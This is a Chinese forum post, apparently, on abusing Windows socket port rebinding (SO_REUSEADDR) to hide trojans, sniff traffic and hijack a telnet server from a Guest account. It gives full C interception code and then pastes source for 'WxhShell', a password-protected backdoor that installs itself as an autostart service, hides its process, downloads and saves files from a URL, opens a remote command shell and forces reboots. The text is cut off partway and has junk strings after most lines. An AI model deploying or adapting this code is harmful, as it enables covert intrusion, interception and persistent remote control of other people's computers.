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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: HhL%iy1  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); sYXS#;|M  
h uJqqC  
  saddr.sin_family = AF_INET; q}5A^QX  
R*X2Z{n  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); mw[4<vfB0a  
+a/o)C{  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); W(aRO  
-e~U u  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 @m V C  
{ rT`*P~  
  这意味着什么?意味着可以进行如下的攻击: to3J@:V8e  
yr>bL"!CA  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 +&OqJAu  
Q(UGwd1  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) $J6.a!5IE  
LzRiiP^q  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 O@iW?9C+  
CWp1)% 0=  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  E0Q"qEvU  
R(sM(x5a`  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 0?SLRz8  
:2E1aVo4b  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 j&A3s{S4A  
opMUt,4  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 2~V Im#  
ZRB 0OH  
  #include Yys~p2  
  #include PQ}%}S7:  
  #include |l xy< C4V  
  #include    {ah=i8$  
  DWORD WINAPI ClientThread(LPVOID lpParam);   * Xoscc  
  int main() It4z9Gh  
  { R`2A-c  
  WORD wVersionRequested; L]d@D0.Z  
  DWORD ret; N;'HR)  
  WSADATA wsaData; .gGvyscdH;  
  BOOL val; gE&W6z0fJ  
  SOCKADDR_IN saddr; G%!\ p:w  
  SOCKADDR_IN scaddr; ,dx)rZ*  
  int err; JtpY][}"~3  
  SOCKET s; L\NZDkd  
  SOCKET sc; S |>$0P4W(  
  int caddsize;  7E`(8i  
  HANDLE mt; hFMst%:y$  
  DWORD tid;   V:BX"$ J1  
  wVersionRequested = MAKEWORD( 2, 2 ); AwU c{h l<  
  err = WSAStartup( wVersionRequested, &wsaData ); \oX8/-0f  
  if ( err != 0 ) { R:<@+z^A[  
  printf("error!WSAStartup failed!\n"); _-]!;0E IV  
  return -1; 4|N\Q=,  
  } o^Ysp&#p  
  saddr.sin_family = AF_INET;  p &>A5  
   -fJ@R1]  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 V<4+g/  
i ,pN1_-  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); O[)]dD&'  
  saddr.sin_port = htons(23); tvT8UW'  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) c%@~%IGF  
  { {|Ki^8h/p  
  printf("error!socket failed!\n"); &_d/ciq1f  
  return -1; QaWHz   
  } $-Pqs ^g  
  val = TRUE; qQOD  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 _1<'"u#6w  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ,|X+/|gm  
  { 3g [j%`k  
  printf("error!setsockopt failed!\n"); mO)PJd2ZD  
  return -1; t*d >eK`:N  
  } GrR0RwnH)?  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; .^lb LN^2  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ie@`S&.8 T  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 *fi;ZUPW3  
P%sO(_PuT  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) $[iT~B$  
  { }{xN`pZ  
  ret=GetLastError(); oD#>8Aws  
  printf("error!bind failed!\n"); kq~[k.  
  return -1; rEyz|k:  
  } ,LW+7yD  
  listen(s,2); c5E#QV0&v~  
  while(1) [OZ=iz.  
  { rN1U.FRe/  
  caddsize = sizeof(scaddr); ^8NLe9~p3?  
  //接受连接请求 HCG@#W<wc  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); B>Cs&}Y!  
  if(sc!=INVALID_SOCKET) xs'kO=  
  { O R<"LTCL  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 4su_;+]  
  if(mt==NULL) s`=/fvf.  
  { ~r^5-\[hZ  
  printf("Thread Creat Failed!\n"); MJ*]fC3/  
  break; hiRR+`L%  
  } cZr G:\A  
  } Vp $wHB&  
  CloseHandle(mt); ;DD>k bd  
  } Q_aqX(ig  
  closesocket(s); >u5g?yzw  
  WSACleanup(); 58&{5YpS  
  return 0; E8-fW\!F  
  }   l]Ui@X  
  DWORD WINAPI ClientThread(LPVOID lpParam) NdsX*o@a  
  { a1G9wC:e  
  SOCKET ss = (SOCKET)lpParam; *i?rJH  
  SOCKET sc; |vfujzRZ  
  unsigned char buf[4096]; px _s@>l`  
  SOCKADDR_IN saddr; ~J1;tZS  
  long num; r|^lt7\  
  DWORD val; N(:nF5>_  
  DWORD ret; 4e@&QOo`Cu  
  //如果是隐藏端口应用的话,可以在此处加一些判断 H+VO.s.a  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   _7lt(f[S  
  saddr.sin_family = AF_INET; HX3D*2v":  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); [Iw>|q<e  
  saddr.sin_port = htons(23); wKk 3)@il  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) hu P^2*c  
  { &^&$!Xmu9  
  printf("error!socket failed!\n"); eb!s'@  
  return -1; DhLr^Z!h3;  
  } l*K I  
  val = 100; O xT}I  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) mN\%f J7  
  { K lli$40  
  ret = GetLastError(); T2DF'f3A  
  return -1; Yz=h"Zr  
  } 4YDT%_h0  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) JG@L5f  
  { Rkpr8MS  
  ret = GetLastError(); jVad)2D  
  return -1; *%X6F~h(u  
  } v Zb|!#I  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) -c+>j  
  { >-5td=:Z  
  printf("error!socket connect failed!\n"); s>jr1~~3O_  
  closesocket(sc); X-kXg)!Bg  
  closesocket(ss); X!o[RJY  
  return -1; _BG8/"h32  
  } &so-O90  
  while(1) -RG8<bI,  
  { g.I(WJX0  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 -ca7x`yo  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 . [T'yc:=  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 /!=U +X  
  num = recv(ss,buf,4096,0); @up&q  
  if(num>0) 7 9Qc`3a  
  send(sc,buf,num,0); 2J;kD2"!  
  else if(num==0) D:wnO|:  
  break; onnI !  
  num = recv(sc,buf,4096,0); t_jyyHxoZ:  
  if(num>0) & u$(NbK  
  send(ss,buf,num,0); vG]GQ#  
  else if(num==0) 6FL?4>MZ  
  break; _urG_~q  
  } c ]>DI&$;J  
  closesocket(ss); 6OL41g'  
  closesocket(sc); +I|Rk&  
  return 0 ; dqqnCXYuW  
  }  vv+TKO  
"^;#f+0  
H LjvKE=W  
========================================================== $!!R:Wn/R  
iv:,fkwG  
下边附上一个代码,,WXhSHELL {(rf/:X!p  
JY{X,?s  
========================================================== tg~A}1o`0  
(y1$MYZ Q  
#include "stdafx.h" tNK^z7Dm  
oW0gU?Rr)u  
#include <stdio.h> vO\:vp4fH  
#include <string.h> ,{k<JA {  
#include <windows.h> ~?#~Ar  
#include <winsock2.h> m</]D WJ  
#include <winsvc.h> m_a^RB(  
#include <urlmon.h> gaQ[3g  
w{PUj  
#pragma comment (lib, "Ws2_32.lib") L-#e?Y}$J  
#pragma comment (lib, "urlmon.lib") h`=r )D  
oZgHSRRL  
#define MAX_USER   100 // 最大客户端连接数 pe|X@o  
#define BUF_SOCK   200 // sock buffer 'gCJ[ce  
#define KEY_BUFF   255 // 输入 buffer gs?8Wzh90*  
:'Zx{F`  
#define REBOOT     0   // 重启 3 m6$YWO  
#define SHUTDOWN   1   // 关机 pvlDjj}  
tcZa~3.  
#define DEF_PORT   5000 // 监听端口 WFouoXlG0  
Te# ]Cn|  
#define REG_LEN     16   // 注册表键长度 $; ?c?n+  
#define SVC_LEN     80   // NT服务名长度 S+r^B?a<oM  
iHPUmTus--  
// 从dll定义API Z a! gbt  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); `19qq]  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); U_]=E<el  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); B`i$Wt<7  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); j_p`Ng  
z) :ka"e  
// wxhshell配置信息 j1/+\8Y  
struct WSCFG { Oukd_Ryf   
  int ws_port;         // 监听端口 :$Q`>k7A  
  char ws_passstr[REG_LEN]; // 口令 *ot> WVB  
  int ws_autoins;       // 安装标记, 1=yes 0=no FH.f- ZU  
  char ws_regname[REG_LEN]; // 注册表键名 1I ""X]I_  
  char ws_svcname[REG_LEN]; // 服务名 "# !D|[h0  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 P$g^vS+  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 (~JwLe@a  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 )IHG6}<  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Nb0Ik/:<  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" O$^xkv5.  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 OZf6/10O/  
Zae.MO^C!  
}; uQnT[\k?  
S<"oUdkz  
// default Wxhshell configuration %)?`{O~ h  
struct WSCFG wscfg={DEF_PORT, @Gt`Ds9=  
    "xuhuanlingzhe", V@[rf<,  
    1, m^<p8KZ  
    "Wxhshell", :5J_5,?;`  
    "Wxhshell", p}uncIod  
            "WxhShell Service", pr_>b`p6  
    "Wrsky Windows CmdShell Service", 9YD\~v;x  
    "Please Input Your Password: ", eeM?]J-  
  1, 8] `Ru5nd  
  "http://www.wrsky.com/wxhshell.exe", /2xSNalC  
  "Wxhshell.exe" :|rPT)yT]  
    }; )n>+m|IqY(  
YlTaN,?j  
// 消息定义模块 2VA!&`I  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; HJIC<U  
char *msg_ws_prompt="\n\r? for help\n\r#>"; \|.7-X  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ,beS0U]  
char *msg_ws_ext="\n\rExit."; QOH<]~3J  
char *msg_ws_end="\n\rQuit."; Ke!'gohv  
char *msg_ws_boot="\n\rReboot..."; X3',vey  
char *msg_ws_poff="\n\rShutdown..."; dxK9:IX  
char *msg_ws_down="\n\rSave to "; k=$AhT=e}n  
1yM r~Fo  
char *msg_ws_err="\n\rErr!"; 7VAJJv3  
char *msg_ws_ok="\n\rOK!"; O(c@PJem  
/`3 #4=5-  
char ExeFile[MAX_PATH]; gv|"OlB  
int nUser = 0; r{_>ldjq  
HANDLE handles[MAX_USER]; E8ta|D  
int OsIsNt; BJk Z2=  
zU&L.+   
SERVICE_STATUS       serviceStatus; {e"dm5  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; (5a1P;_Y  
rQb7?O@-  
// 函数声明 -R b{^/  
int Install(void); _[t8rl  
int Uninstall(void); ?T!)X)A#  
int DownloadFile(char *sURL, SOCKET wsh); yz8jU*H  
int Boot(int flag); ?s2^zT  
void HideProc(void); Su7bm1  
int GetOsVer(void); LHkQ'O0  
int Wxhshell(SOCKET wsl); =^tA_AxVw  
void TalkWithClient(void *cs); iX"C/L|JN  
int CmdShell(SOCKET sock); s2REt$.q  
int StartFromService(void); 6KRO{QK  
int StartWxhshell(LPSTR lpCmdLine); [%pRfjM  
g<wRN#B  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 0^3+P%(o@  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); \~~}N4  
sILSey5`  
// 数据结构和表定义 ]{GDS! )  
SERVICE_TABLE_ENTRY DispatchTable[] = #+k*1 Jg  
{ ~TqT }:,H  
{wscfg.ws_svcname, NTServiceMain}, Z6Fp\aI8@  
{NULL, NULL} ok{!+VCB5  
}; esX)"_xf  
jQ+sn/ROp  
// 自我安装 h&;t.Gdf  
int Install(void) \+ 0k+B4a  
{ 5T?-zFMM  
  char svExeFile[MAX_PATH]; mbxbEqz  
  HKEY key; Nd@~>&F  
  strcpy(svExeFile,ExeFile); KzV 2MO-$  
f0>!qt  
// 如果是win9x系统,修改注册表设为自启动 k|xtr&1N.!  
if(!OsIsNt) { F(,UA+$A  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Iz@)!3h  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;j%BK(5  
  RegCloseKey(key); 2=iH$v  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { C\*4q8(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,xfO;yd  
  RegCloseKey(key); 5Qh?>n>*  
  return 0; !mMpb/&&S  
    } eOI (6U!  
  } `5~3G2T  
} rsXq- Pq*  
else { p B;3bc  
OI}cs2m  
// 如果是NT以上系统,安装为系统服务 &(N+.T5cp  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); .@F]Pht  
if (schSCManager!=0) <RNJ>>0  
{ T~:|!`  
  SC_HANDLE schService = CreateService 4\M.6])_   
  ( EYX$pz(x;  
  schSCManager, $O)3 q $|  
  wscfg.ws_svcname, F4L;BjnJ  
  wscfg.ws_svcdisp, OEx^3z^  
  SERVICE_ALL_ACCESS, hC <O`|lF  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , v <Kmq-b  
  SERVICE_AUTO_START, U}k9 Py  
  SERVICE_ERROR_NORMAL, E&$yuW^z  
  svExeFile, ^Yj xeNY  
  NULL, Bun> <Y @  
  NULL, 5L,}e<S$  
  NULL, ~m^ #FJu  
  NULL, Xx:F)A8O  
  NULL \</b4iR)LT  
  ); -Go 7"j  
  if (schService!=0) r.ZF_^y}+  
  { j hbonuV_  
  CloseServiceHandle(schService); X;v$5UKU  
  CloseServiceHandle(schSCManager); !V 2/A1?  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); sZGj"_-Hzu  
  strcat(svExeFile,wscfg.ws_svcname); 6Htg5o|W  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { F# T 07<  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 9d[5{" 2j  
  RegCloseKey(key); D,qu-k[jMI  
  return 0; v[e:qi&fG  
    } RPd}Wf  
  } Z[__"^}  
  CloseServiceHandle(schSCManager); 91>fqe  
} U-/{0zB  
} K"j_>63)  
VA *y|Q6  
return 1; D^%^xq )E  
} 'R`tLN  
z4M9M7)"  
// 自我卸载 ?;/^Ya1;Z  
int Uninstall(void) t58e(dgi  
{ h.O$]:N  
  HKEY key; =0uAE7q(9  
!$N<ds.  
if(!OsIsNt) { EnOU?D  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ib{-A&  
  RegDeleteValue(key,wscfg.ws_regname); N_:qRpp6i  
  RegCloseKey(key); tyaA\F57  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { B#/Q'V  
  RegDeleteValue(key,wscfg.ws_regname); ;4N;D  
  RegCloseKey(key); "BX!  
  return 0; [kE."#  
  } 7i&:DePM'q  
} T^J>ZDA  
} 0d8%T<=J  
else { UfS%71l.$  
Reatd h  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); qOIW(D  
if (schSCManager!=0) ?QE,;QtpK  
{ C z\Ppq  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 8\:NMP8W\  
  if (schService!=0) 4:gRr   
  { u\eEh*<7q  
  if(DeleteService(schService)!=0) { e=O,B8)_  
  CloseServiceHandle(schService); */|BpakD<  
  CloseServiceHandle(schSCManager); yj^+ G  
  return 0; $56,$K`H  
  } {%_L=2n6  
  CloseServiceHandle(schService); "etPT@gF  
  } j~*L~7  
  CloseServiceHandle(schSCManager); W.kM7z>G  
} 6{txm+U  
} itC-4^  
Ja9e^`i;  
return 1; 0jEL<TgC  
} n=[/Z!  
Yk=PS[f  
// 从指定url下载文件 "I(xgx*  
int DownloadFile(char *sURL, SOCKET wsh) i':C)7  
{ :0h_K  
  HRESULT hr; o}ZdTf=  
char seps[]= "/"; 812$`5l  
char *token; t.;LnrY  
char *file; ~?(N  
char myURL[MAX_PATH]; D*lKn62  
char myFILE[MAX_PATH]; K5lmVF\$P  
jYKor7KTqT  
strcpy(myURL,sURL); Cg(Y&Gxf.  
  token=strtok(myURL,seps); X 7rMeu  
  while(token!=NULL) uC cYPvm  
  { '*3h!lW1.  
    file=token; H- $)3"K  
  token=strtok(NULL,seps); AB4(+S*LA  
  } , N)/w1?I  
w4gJoxY-`  
GetCurrentDirectory(MAX_PATH,myFILE); ')$+G152  
strcat(myFILE, "\\"); o,)?!{k}  
strcat(myFILE, file); =|Y,+/R?  
  send(wsh,myFILE,strlen(myFILE),0); s=;uc] 9g  
send(wsh,"...",3,0); t;}:waZD  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); -X"p:=;j  
  if(hr==S_OK) ,LnII  
return 0; P(f0R8BE  
else Rd#WMo2Xd  
return 1; J|qZ+A[z  
y]f"@9G#  
} 6}FP  
BW$"`T@c6~  
// 系统电源模块 E S//  
int Boot(int flag) xjKR R?  
{ sG92XJ  
  HANDLE hToken; c"B{/;A  
  TOKEN_PRIVILEGES tkp; 75XJL;W #  
Q$zO83  
  if(OsIsNt) { +lHjC$   
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ?#}N1k\S  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); AP'*Nh@Ik(  
    tkp.PrivilegeCount = 1; 0Ziw_S\d&s  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 7$CBx/X50)  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); _./Sk|C  
if(flag==REBOOT) { 2AT5  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) &L'Dqew,*  
  return 0; leTf&W  
} DH\0z[  
else { x!5'`A!W%  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) X-K=!pET  
  return 0; O$_)G\\\m  
} Egg=yF>T  
  } Rwz0poG`WG  
  else { (k5We!4[1  
if(flag==REBOOT) { K,+LG7ec  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) J}v}~Cv  
  return 0; 2mVD_ s[`  
} v0z5j6)-1  
else { a&/#X9/  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) cW@Zd5&0S  
  return 0; .F   
} 5:Z0Pt  
} 6e9,PS  
IzikDc10  
return 1; Ve}(s?hU5  
} e7Xeo+/  
We$:&K0  
// win9x进程隐藏模块 TC!Yb_H}gN  
void HideProc(void) U>=Z- T  
{ FGigbtj`  
8i>ZY  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); y{ibO}s  
  if ( hKernel != NULL ) eKE#Yr d=x  
  { xjfV?B'Y}V  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); :W!7mna  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ~.{/0T  
    FreeLibrary(hKernel); DS+}UO  
  } :ubV};  
y"bByd|6  
return; n0r+A^]  
} (eI5_`'VC  
JjPKR?[>  
// 获取操作系统版本 PF)jdcX  
int GetOsVer(void) K1mPr^3rC  
{ -+(jq>t  
  OSVERSIONINFO winfo; [#-b8Cu  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); R "n 5  
  GetVersionEx(&winfo); [~-9i &Z  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) G`SUxhCk  
  return 1; *w^C"^*  
  else B:5Rr}eY+  
  return 0; N4^-`  
} RN$1bxY  
q*U*Fu+  
// 客户端句柄模块 15%w 8u  
int Wxhshell(SOCKET wsl) Bp_$.!Qy  
{ qaY1xPWz"  
  SOCKET wsh; l)G^cSHF.3  
  struct sockaddr_in client; _,p/l&<  
  DWORD myID; Huy5-[)15  
rf $QxJ  
  while(nUser<MAX_USER) |v \_@09=  
{ iP =V8g?L  
  int nSize=sizeof(client); &~8oQC-eF  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Sh/T,  
  if(wsh==INVALID_SOCKET) return 1; 'Q|M'5'  
x.7]/)  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); pOGeru u?  
if(handles[nUser]==0) %SX|o-B~.o  
  closesocket(wsh); G9Y#kBr  
else C`$n[kCJ  
  nUser++; S)cLW~=z  
  } DnC{YK  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); G/b^|;41  
Lx\ 8Z=  
  return 0; G0/4JSH  
} H<VTa? n  
j}%ja_9S  
// 关闭 socket W}m)cn3@  
void CloseIt(SOCKET wsh) \#f <!R4  
{ <oR a3Gi(%  
closesocket(wsh); /I1h2 E  
nUser--; G}:w@}h/  
ExitThread(0); kw#;w=\>R{  
} tQ8.f  
GC?ON0g5s  
// 客户端请求句柄 qAAX;N  
void TalkWithClient(void *cs) ZjgsR|i  
{ W }8'Pf  
.LZwuJ^;  
  SOCKET wsh=(SOCKET)cs; o^^rJk  
  char pwd[SVC_LEN]; /q<__N  
  char cmd[KEY_BUFF]; v/](yT  
char chr[1]; 1M}5>V{  
int i,j; {1IfU  
IAw{P08+  
  while (nUser < MAX_USER) { ix([mQg  
Ka[t75~;  
if(wscfg.ws_passstr) { uEktQ_u[  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @CTgT-0!  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )we}6sE"  
  //ZeroMemory(pwd,KEY_BUFF); 3  ^>l\,  
      i=0; ] Bcp;D  
  while(i<SVC_LEN) { ox(j^x]NC  
$* AYcy7  
  // 设置超时 eZSNNgD<:  
  fd_set FdRead; 5 MN8D COF  
  struct timeval TimeOut; %e-7ubW  
  FD_ZERO(&FdRead); P* w9 ,  
  FD_SET(wsh,&FdRead); e8pG"`wM8  
  TimeOut.tv_sec=8; ~Lm$i6E <  
  TimeOut.tv_usec=0; :[O 8  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ]~aF2LJ_q  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); )+[ gd/<C.  
j/fzzI0@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <~6h|F8  
  pwd=chr[0]; 0 vtt"f)Y[  
  if(chr[0]==0xd || chr[0]==0xa) { VKq=7^W  
  pwd=0; U^Q:Y}^  
  break; )6q,>whI]  
  } [<%H>S1  
  i++; G&i!Hs  
    } lr`&mZ( j  
;A]@4*q  
  // 如果是非法用户,关闭 socket MCS8y+QK  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Hkwl>R$  
} *~t6(v?  
P{wF"vf  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); d/BM&r  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (Tn- >).AO  
aMtsmL?=  
while(1) { )Xv ilCk1  
%kS(LlL+6  
  ZeroMemory(cmd,KEY_BUFF); X~lVVBO  
77\] B  
      // 自动支持客户端 telnet标准   QR%mj*@Wle  
  j=0; 9aze>nxh.  
  while(j<KEY_BUFF) { '}fzX2Q#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3BtaH#ZY  
  cmd[j]=chr[0]; "uaMk}[ <!  
  if(chr[0]==0xa || chr[0]==0xd) { fh](K'P#^  
  cmd[j]=0; ;1%-8f:lW  
  break; -_1>C\h"  
  } tasUZ#\6  
  j++; _F$aUtb%O  
    } thifRd$4  
-'t)=YJ  
  // 下载文件 Dey<OE&  
  if(strstr(cmd,"http://")) { xa<UM5eI  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 4\Tl\SZ?  
  if(DownloadFile(cmd,wsh)) X*{2[+<o  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); nlW +.a[  
  else B56L1^ 7  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #,":vr  
  } W g02 A\  
  else { ;#vKi0V7  
e[&L9U6GW-  
    switch(cmd[0]) { FaDjLo2'o  
  8B\2Zfe  
  // 帮助 X voo=  
  case '?': { @d mV  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Rb%8)t x  
    break; P<M?Qd 1.  
  } +yk24 ` >  
  // 安装 >[*8I\*@n  
  case 'i': { 0yuS3VY)  
    if(Install()) jRJn+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E5I"%9X0H  
    else h*w%jdQ6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); JM x>][xD  
    break; KKiE@_z  
    } '>cKH$nVC}  
  // 卸载 AiEd!u.  
  case 'r': { /OLFcxEWh  
    if(Uninstall()) [AYOYENp-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); '8!Y D?n  
    else F'4w;-ax  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WvBc#s-  
    break; a yCY~=i  
    } pTPi@SBaP{  
  // 显示 wxhshell 所在路径 bdC8zDD  
  case 'p': { YQHw1  
    char svExeFile[MAX_PATH]; :N4t49i  
    strcpy(svExeFile,"\n\r"); iOU6V  
      strcat(svExeFile,ExeFile); x[h^[oF0  
        send(wsh,svExeFile,strlen(svExeFile),0); ]x RM&=)<  
    break; \;qW 3~  
    } FbS|~Rp~  
  // 重启 gtk7)Uh  
  case 'b': { w<Wf?aG  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); wy0tgy(' |  
    if(Boot(REBOOT)) F`gi_; c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /178A;J y  
    else { sz:g,}~h  
    closesocket(wsh); +jS|2d  
    ExitThread(0); fZ0M%f  
    } q"\Z-D0B4  
    break; NidIVbT.A  
    } -I8=T]_D  
  // 关机 2%LL Sa  
  case 'd': { `UD/}j@  
